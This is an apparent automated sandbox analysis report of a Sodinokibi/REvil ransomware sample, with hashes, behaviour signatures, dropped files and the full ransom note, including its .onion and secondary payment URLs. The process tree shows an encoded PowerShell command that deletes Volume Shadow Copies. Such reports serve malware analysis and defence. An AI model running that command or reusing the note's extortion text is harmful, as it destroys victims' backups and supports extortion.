Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    07-09-2024 07:57

General

  • Target

    d170f2684721d33eb1b1db2cca1a764e_JaffaCakes118.exe

  • Size

    164KB

  • MD5

    d170f2684721d33eb1b1db2cca1a764e

  • SHA1

    ace765223486af94ef2e8b2c531cb56b8afa3321

  • SHA256

    399a27b146613d522ca9430ba24215a193a64f816304e4f51615250d98c3294b

  • SHA512

    2ba8d350a0f39d406da4eb27a47e7736d2d83b0387553b98ef7865568aa04127641015141f329dc4a83d0880439d3e7b7b7376fd4801a9fdfa226faeb6f5bf65

  • SSDEEP

    3072:ffYWjswg4fQlt4ndm8jX5IXzs+M9VQHDOmi22:ffYWAw9fcUdmwIXo+M9VQHD77

Malware Config

Extracted

Path

C:\Users\2klvn5o-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 2klvn5o. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/33004BB5F5171963 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/33004BB5F5171963 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: izsnE4Njnfz812G5uUfMl1p7MDHjQFSIADdiYj9GmGq7qQbUvghCU+KKgqztbZqo yHV6hDPgscn08hUrIazjM4OgRDy++CJRux+iL2k9O9Xv7n7rUcK91EwyK9RXk3dq igP2be2BMp1h3SpjfdEtGMBCfbP+nD7NXEo5xo88N0L8RDQzibnG/w87Dcby1cxn 0PUyGksUthfwPdB2aS38IG5q2eZ8BE2MWY2hlaYxlQN/IO8XQDy+zTq5WdVlDgvx KYrGH+rMi57HMxFpX5L2NLCVVUbPTtn+mLmkkB/+c8TeJ4c5wtZTILtNu1ojeeRb uy6VtDFA5RfeZw9/DxWQ6BV5hWnQ+lUE8tkt0wIrYAOArHYbQ/rDPJpIj66/33kS VXDy5k0orhOhAvgS1YlSeUhs6Gk9ta0NzfbFrnnk2Cx3SUmu4qwQdV15bgV0DBYY PwH79Xq+r+T8sSQXwqbhM76uOh7wTl0Iig3zl2XchP9FKkcaMo9j3sk/qBPBwWI+ wm8b+xtNSC+UEVGbg7+VOyGxF6YZA5hAblxxPS0HzHRAK7968yJpGcHIlRrIpyvO u5qx3zzlehA/f3ocMfkbZj98VxTOzJychZR4Lzg3VXNIAtf8wayPLh1Hu2pb3mUi C/HPhT28H7eNbKJyi25zEFyCIdPEcFzTn5PySqyl7fM+n2eWq1dd/OFTNG3w13f/ ONGOaTwWOYPQHAP7r5g4rPf9rHa9bMeUVdFGy4cZgSC75AvHDNdZcp0q5KTYF4nE 1hyl9xOL9+HDwCtUoGIaEJbL/Ayy+pZfeEzAn22bAzBBwQl/dnJ+ZkHZY8Y3FPd6 EHr2wh0lEJQcRHhIltWMFuSek6mm7Nf0J3HEo4hzKWxP+C9WDSNFSDlpOgOQwYa3 SJYPJi6qsqyrVlGU8HgfqYWTKxIFXFzCMYtpmk54MBK2xXTcoeG+LI/h084vMksj ja3c0TcyPIrTDqveHWN1ghwnAooIBfoLwmVvW0bttPNuFUc6f2lCSQxKBoDS8f8x G8+X58oljSnXGvqNStHS3jmcTVeUnZB5dMg24SJwKlJe1nG/aONj/Mjt3XQMO9LR JS7Wud/mXcII5caNf4yfy8bu0FAuqJ9wZPIzyEVoYsEQe5IyjSSOn6oMjEzHyVq7 4XWoqdYfOtE27zXQCzm6tx9d9XvzzA8Yq9OOEl7Xbw+qJlBKS0oeNfItGCdceMZr BujKhg+Z+5QT7NmW Extension name: 2klvn5o ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/33004BB5F5171963

http://decryptor.top/33004BB5F5171963

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 27 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\d170f2684721d33eb1b1db2cca1a764e_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\d170f2684721d33eb1b1db2cca1a764e_JaffaCakes118.exe"
    1⤵
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2632
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2748
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2648
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2572

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\2klvn5o-readme.txt

      Filesize

      6KB

      MD5

      6c8e2caf818eccd1efb93249e5309ca1

      SHA1

      71fbf389197f427542ca1ccdcc59631c011b5ba2

      SHA256

      ee17d0aade44d921255851e1dcec0e00184b0f9a2b09df654ae0b84b1150c404

      SHA512

      c3d3cf7b619a0942a422263b82341abe3fef8f098e5186c40810e6d51699f01da6d8d43f837ca1007fd45c6d3991fb456fe08de30cbb75d8f83822c405544ddd

    • C:\Users\Admin\AppData\Local\Temp\Cab5746.tmp

      Filesize

      70KB

      MD5

      49aebf8cbd62d92ac215b2923fb1b9f5

      SHA1

      1723be06719828dda65ad804298d0431f6aff976

      SHA256

      b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

      SHA512

      bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

    • C:\Users\Admin\AppData\Local\Temp\Tar5759.tmp

      Filesize

      181KB

      MD5

      4ea6026cf93ec6338144661bf1202cd1

      SHA1

      a1dec9044f750ad887935a01430bf49322fbdcb7

      SHA256

      8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

      SHA512

      6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

    • C:\Windows\System32\catroot2\dberr.txt

      Filesize

      191KB

      MD5

      0bf22d9f3dcdbeadbd3e641d67443e53

      SHA1

      045a5793126ed4b1557311ba09a1e442bce97701

      SHA256

      49b1b3eba96de339057a6419f8bd35e8f57a0123acb5690b86b93f4dc5f3d7c8

      SHA512

      e32d9b3c16e22ffbe39dfaa1e556c9428f2caf957cd3a7eefcd37349e7d3a9b2a5056b284d3b20855c7727f22e3b8904761933c843bddad14beb3f75c0b59455

    • memory/2748-7-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-10-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-9-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-11-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-12-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-8-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-4-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp

      Filesize

      4KB

    • memory/2748-6-0x0000000002040000-0x0000000002048000-memory.dmp

      Filesize

      32KB

    • memory/2748-5-0x000000001B680000-0x000000001B962000-memory.dmp

      Filesize

      2.9MB